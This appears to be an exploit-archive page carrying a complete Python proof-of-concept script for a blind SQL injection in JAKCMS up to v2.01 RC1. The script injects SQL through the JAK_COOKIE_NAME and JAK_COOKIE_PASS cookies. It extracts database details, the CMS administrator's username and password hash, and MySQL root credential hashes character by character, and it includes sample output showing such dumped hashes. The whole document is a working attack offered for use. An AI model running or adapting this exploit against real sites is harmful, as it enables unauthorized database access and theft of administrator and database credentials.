ExploitFixes
JAKCMS <= v2.01 RC1 Blind SQL Injection Exploit 2011-02-20 09:15:41

#!/usr/bin/python
#
# jakCMS &lt;= v2.01 RC1 Blind SQL Injection Exploit
#
# Understanding:
# The parameters 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' are parsed via cookies to the application
# and are unchecked for malicious characters. The contents of these variables are directly inserted into an
# SQL statement, leading to SQL Injection vulnerabilities.
#
# Notes:
# 1. PoC written to only work with the latest version. However, vuln exists in all versions.
# 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to ''.
#
# [[email protected] jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/
#
# | ----------------------------------------- |
# | JAKcms Remote Blind SQL Injection Explo!t |
# | by mr_me - net-ninja.net ---------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using 'upload/admin' value for the true page
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: [email protected]
# (!) Getting database name: jak
# (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b
# (!) w00t! You have access to MySQL database!
# (+) Dumping hashs hold onto your knickers..
# (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
# (+) PoC finished.

import sys
import urllib
import re
import urllib2
from optparse import OptionParser

usage = &quot;./%prog [&lt;options&gt;] -t [target] -d [directory]&quot;
usage += &quot;\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/&quot;

parser = OptionParser(usage=usage)
parser.add_option(&quot;-p&quot;, type=&quot;string&quot;,action=&quot;store&quot;, dest=&quot;proxy&quot;,
help=&quot;HTTP Proxy &lt;server:port&gt;&quot;)
parser.add_option(&quot;-t&quot;, type=&quot;string&quot;, action=&quot;store&quot;, dest=&quot;target&quot;,
help=&quot;The Target server &lt;server:port&gt;&quot;)
parser.add_option(&quot;-d&quot;, type=&quot;string&quot;, action=&quot;store&quot;, dest=&quot;dirPath&quot;,
help=&quot;Directory path to the CMS&quot;)

(options, args) = parser.parse_args()

def banner():
print &quot;\n\t| ----------------------------------------- |&quot;
print &quot;\t| JAKcms Remote Blind SQL Injection Explo!t |&quot;
print &quot;\t| by mr_me - net-ninja.net ---------------- |\n&quot;

if len(sys.argv) &lt; 5:
banner()
parser.print_help()
sys.exit(1)

# set the stage........
trueStr = &quot;upload/admin&quot;
page = &quot;index.php&quot;
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}
lower_value = 0
upper_value = 126

# test before we hit our target
def testProxy():
check = 1
sys.stdout.write(&quot;(+) Testing proxy @ %s.. &quot; % (options.proxy))
sys.stdout.flush()
try:
req = urllib2.Request(&quot;http://www.google.com/&quot;)
req.set_proxy(options.proxy,&quot;http&quot;)
check = urllib2.urlopen(req)
except:
check = 0
pass
if check != 0:
sys.stdout.write(&quot;proxy is found to be working!\n&quot;)
sys.stdout.flush()
else:
print &quot;proxy failed, exiting..&quot;
sys.exit(1)

# handles all requests to the target server
def getServerResponse(exploit, header=None, data=None):
try:
headers = {}
headers['Cookie'] = header
req = urllib2.Request(exploit, data, headers)
if options.proxy:
req.set_proxy(options.proxy,&quot;http&quot;)

check = urllib2.urlopen(req).read()
except urllib.error.HTTPError, error:
check = error.read()
except urllib.error.URLError:
print &quot;(-) Target connection failed, check your address&quot;
sys.exit(1)
return check


# modified version of rsauron's function
# thanks bro.
def getAsciiValue(URI, data):
lower = lower_value
upper = upper_value
while lower &lt; upper:
try:
mid = (lower + upper) / 2
header = data + &quot;&gt;&quot;+str(mid)+&quot;--+;&quot;
result = getServerResponse(URI, header)
match = re.findall(trueStr,result)
if len(match) &gt;= 1:
lower = mid + 1
else:
upper = mid
except (KeyboardInterrupt, SystemExit):
raise
except:
pass

if lower &gt; lower_value and lower &lt; upper_value:
value = lower
else:
header = data + &quot;=&quot;+str(lower) +&quot;-- ;&quot;
result = getServerResponse(URI, header)
match = re.findall(trueStr,result)
if len(match) &gt; 1:
value = lower
else:
print &quot;\n(-) READ xprog's blind sql tutorial!\n&quot;
sys.exit(1)
return value

# Do our blind attacks
def doBlindSqli():
data = &quot;JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin&quot;
request = (&quot;http://&quot;+options.target+options.dirPath + page)
print &quot;(+) Using '%s' value for the true page&quot; % (trueStr)
print &quot;(+) This will take time, go grab a coffee..&quot;
for key in basicInfo:
sys.stdout.write(&quot;\n(!) Getting database %s: &quot; % (key))
sys.stdout.flush()

# it will never go through all 50 iterations. \0/ lazy.
for i in range(1,50):
getBasicInfo = (data+&quot;\&quot;))+and+ascii(substring(%s,%s,1))&quot; % (basicInfo[key],str(i)))
asciival = getAsciiValue(request, getBasicInfo)
if asciival &gt;= 0:
sys.stdout.write(&quot;%s&quot; % (chr(asciival)))
sys.stdout.flush()
else:
break

# get JAKCMS admin account data
sys.stdout.write(&quot;\n(!) Getting JakCMS administrative account: &quot;)
sys.stdout.flush()
for i in range(1,100):
getUserAndPass = (data+&quot;\&quot;))+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+&quot;
&quot;user+limit+0,1),%s,1))&quot; % str(i))

asciival = getAsciiValue(request, getUserAndPass)

if asciival != 0:
sys.stdout.write(&quot;%s&quot; % (chr(asciival)))
sys.stdout.flush()
else:
pass

# if we are lucky, get the mysql user/pass
isMysqlUser = (data+&quot;\&quot;))+and+(select+1+from+mysql.user+limit+0,1)=1--+&quot;)
result = getServerResponse(request, isMysqlUser)
match = re.findall(trueStr,result)
if len(match) &gt;= 1:
print &quot;\n(!) w00t! You have access to MySQL database!&quot;
print &quot;(+) Dumping hashs hold onto your knickers..&quot;
sys.stdout.write(&quot;(+) The username and hashed password is: &quot;)
sys.stdout.flush()
for k in range(1,100):
getMysqlUserAndPass = (data+&quot;\&quot;))+and+ascii(substring((SELECT+concat(user,0x3a,password)+from+&quot;
&quot;mysql.user+limit+0,1),%s,1))&quot; % str(k))
asciival = getAsciiValue(request, getMysqlUserAndPass)
if asciival != 0:
sys.stdout.write(&quot;%s&quot; % (chr(asciival)))
sys.stdout.flush()
else:
break
sys.stdout.write(&quot;\n(+) PoC finished.\n&quot;)
sys.stdout.flush()
else:
print &quot;\n(-) You do not have access to MySQL database&quot;


def main():
banner()
if options.proxy:
testProxy()
doBlindSqli()

if __name__ == &quot;__main__&quot;:
main()